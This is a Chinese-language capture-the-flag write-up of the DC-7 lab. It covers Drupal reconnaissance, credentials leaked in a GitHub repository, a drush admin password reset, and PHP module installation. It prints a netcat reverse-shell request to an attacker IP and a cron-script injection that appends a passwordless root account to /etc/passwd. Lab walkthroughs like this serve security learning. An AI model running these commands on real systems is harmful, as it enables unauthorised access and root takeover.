0%

DC-7

DC-7

基础信息收集

NMAP Result:

image-20210401185724085

Nikto的结果没暴露啥有用信息。

Drupal试探

image-20210401190459135

可以看到这是一个Drupal的站,用droopscan扫描一下:

image-20210401190237889

没什么有用的信息,搜了一下版本的EXP也没有发现:

image-20210401190329099

通过Tips找关键

image-20210401190406247

这段话提示了一下,从外部找线索,看到最下面有一个**@DC7USER**,外国友人活跃的平台Twitter,搜一波:

image-20210401190620640

芜湖,主页有Github的地址:

image-20210401190701621

只有一个代码仓库,并且表述可以确定是DC-7的一些源代码。

配置文件:

image-20210401190813122

这就有趣了!

image-20210401190859216

尝试在Drupal登录失败,nmap还扫描出了SSH,再试试SSH:

image-20210401190952168

成功进入!

修改Drupal管理员密码

在用户根目录下有一个mbox,记录了邮件,可以知道服务器存在一个定时任务备份。

但是backups目录下的所有文件都是通过gpg加密的,无法看到具体内容。

查看脚本内容可以看到:

image-20210401191310236

drush命令可用!

那么,通过drush修改管理员密码应该是可行的!

image-20210401191623226

修改成功!

拿到www-data用户的shell

光明正大地登录到网站:

image-20210401191712786

修改Content的时候发现Drupal好像不支持使用PHP代码?

Google一下,原来需要给Drupal装一个拓展。

在Extend模块下选择Install new module,地址为:

1
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

安装完成后启用模块即可。

接下就可以很简单的反弹一个shell回去了。

image-20210401192050128

加上这行,于是反弹一个shell

提权

请求:

1
http://192.168.145.140/?cmd=nc%20192.168.145.130%208888%20-e%20/bin/bash

image-20210401192215144

成功拿到。

image-20210401192352036

backups.sh的用户组是www-data,那么我们可以修改这个文件的内容,然后再利用定时任务触发获取root权限!

给定时任务加上一行:

1
echo 'echo "escape::0:0:::/bin/bash" >> /etc/passwd' >> backups.sh

然后我们只需要等待,等待定时任务触发,一旦定时任务触发,就会向/etc/passwd文件追加一行内容,而这行内容可以轻松的获取权限。

image-20210401192631259

经过等待,可以看到已经追加完毕,切换用户,读取Flag!

image-20210401192708707

除此之外还有很多提权手法,例如定时任务反弹shell,但是添加用户这种方式更为简洁,服务器在外网的情况下,使用公网反弹shell反倒不如直接添加一个提权账户。